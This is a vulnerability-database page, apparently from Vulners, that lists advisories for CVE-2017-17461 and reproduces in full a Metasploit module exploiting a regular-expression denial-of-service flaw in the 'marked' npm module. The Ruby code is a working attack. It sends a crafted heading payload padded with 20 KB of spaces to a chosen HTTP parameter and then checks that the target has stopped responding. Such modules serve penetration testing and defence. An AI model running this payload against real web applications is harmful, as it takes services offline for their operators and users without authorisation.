Lucene search
K

marked npm module "heading" ReDoS

🗓️ 31 May 2018 18:33:09Reported by Adam Cazzolla, Sonatype Security Research, Nick Starke, Sonatype Security ResearchType 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

marked" npm module heading ReDoS vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-17461
20 Feb 202603:57
attackerkb
CNVD
marked marked.js file denial of service vulnerability
8 Dec 201700:00
cnvd
CVE
CVE-2017-17461
8 Dec 201704:00
cve
Cvelist
CVE-2017-17461
8 Dec 201704:00
cvelist
Fedora
[SECURITY] Fedora 31 Update: marked-1.1.0-3.fc31
31 May 202003:58
fedora
Fedora
[SECURITY] Fedora 32 Update: marked-1.1.0-3.fc32
31 May 202003:31
fedora
Github Security Blog
Moderate severity vulnerability that affects marked
4 Jan 201821:04
github
NVD
CVE-2017-17461
8 Dec 201704:29
nvd
OSV
GHSA-CRMX-V835-HCP4 Moderate severity vulnerability that affects marked
4 Jan 201821:04
osv
OSV
UBUNTU-CVE-2017-17461
8 Dec 201704:29
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'marked npm module "heading" ReDoS',
      'Description' => %q{
        This module exploits a Regular Expression Denial of Service vulnerability
        in the npm module "marked". The vulnerable portion of code that this module
        targets is in the "heading" regular expression. Web applications that use
        "marked" for generating html from markdown are vulnerable. Versions up to
        0.4.0 are vulnerable.
      },
      'References'  =>
        [
          ['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
          ['CWE', '400']
        ],
      'Author'      =>
        [
          'Adam Cazzolla, Sonatype Security Research',
          'Nick Starke, Sonatype Security Research'
        ],
      'License'     =>  MSF_LICENSE
    ))

    register_options([
      Opt::RPORT(80),
      OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
      OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
      OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
    ])
  end

  def run
    if test_service
      trigger_redos
      test_service_unresponsive
    else
      fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
    end
  end

  def trigger_redos
    begin
      print_status("Sending ReDoS request to #{peer}.")

      params = {
        'uri' => normalize_uri(target_uri.path),
        'method' => datastore['HTTP_METHOD'],
          ("vars_#{datastore['HTTP_METHOD'].downcase}") => {
            datastore['HTTP_PARAMETER'] =>  "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
        }
      }

      res = send_request_cgi(params)

      if res
        fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
      end

      print_status("No response received from #{peer}, service is most likely unresponsive.")
    rescue ::Rex::ConnectionRefused
      print_error("Unable to connect to #{peer}.")
    rescue ::Timeout::Error
      print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
    end
  end

  def test_service_unresponsive
    begin
      print_status('Testing for service unresponsiveness.')

      res = send_request_cgi({
        'uri' => '/' + Rex::Text.rand_text_alpha(8),
        'method' => 'GET'
      })

      if res.nil?
        print_good('Service not responding.')
      else
        print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
      end
    rescue ::Rex::ConnectionRefused
      print_error('An unknown error occurred.')
    rescue ::Timeout::Error
      print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
    end
  end

  def test_service
    begin
      print_status('Testing Service to make sure it is working.')

      res = send_request_cgi({
        'uri' => '/' + Rex::Text.rand_text_alpha(8),
        'method' => 'GET'
      })

      if res && res.code >= 100 && res.code < 500
        print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
        return true
      else
        return false
      end
    rescue ::Rex::ConnectionRefused
      print_error("Unable to connect to #{peer}.")
      return false
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation